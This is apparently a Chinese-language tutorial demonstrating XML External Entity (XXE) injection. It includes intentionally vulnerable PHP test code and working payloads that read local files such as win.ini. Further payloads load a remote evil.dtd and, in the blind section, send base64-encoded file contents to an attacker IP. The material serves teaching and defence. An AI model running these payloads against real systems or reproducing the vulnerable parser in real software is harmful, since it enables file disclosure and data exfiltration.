XXE漏洞解析演示

一. 源码

1. 有回显有报错测试代码

<?php $xml=simplexml_load_string($_GET['xml']); // print_r($xml); echo $xml ?>

2. 无回显无报错测试代码

<?php $xml=@simplexml_load_string($_POST['xml']); ?>

二. 内部实体演示

// &有问题,必须对&进行编码才可以 <!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe "Thinking">]><foo>&xxe;</foo> <!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe "Thinking">]><foo>%26xxe;</foo>

三. 外部实体演示

<!ENTITY 实体名称 SYSTEM "URI/URL">

外部引用可支持http，file等协议，不同的语言支持的协议不同，但存在一些通用的协议，具体内容如下所示：

<!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" >]><foo>%26xxe;</foo> // 只适用于PHP5.4.45以下版本

四. 参数实体演示

<!ENTITY % 实体名称 “实体的值”> // or <!ENTITY % 实体名称 SYSTEM “URI”> <!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY % xxe SYSTEM "http://10.1.1.240:8080/evil.dtd">%xxe;]><foo>&evil;</foo> evil.dtd <!ENTITY evil SYSTEM "file:///c:/windows/win.ini" >

五. 无回显演示

// target.php是已知的文件或flage <!DOCTYPE updateProfile [<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=./target.php"><!ENTITY % dtd SYSTEM "http://10.10.87.228:81/3.txt">%dtd;%send;]> // evil.dtd <!ENTITY % all "<!ENTITY &#x25; send SYSTEM ‘http://10.1.1.240:8080/?data=%file;’>" > %all; target.php sms2056

六. 参考

https://www.freebuf.com/column/156863.html

免责声明：本人坚决反对利用教学方法进行犯罪的行为，一切犯罪行为必将受到严惩，绿色网络需要我们共同维护，更推荐大家了解它们背后的原理，更好地进行防护。禁止任何人转载到其他站点，禁止用于任何非法用途。如有任何人凭此做何非法事情，均于笔者无关，特此声明。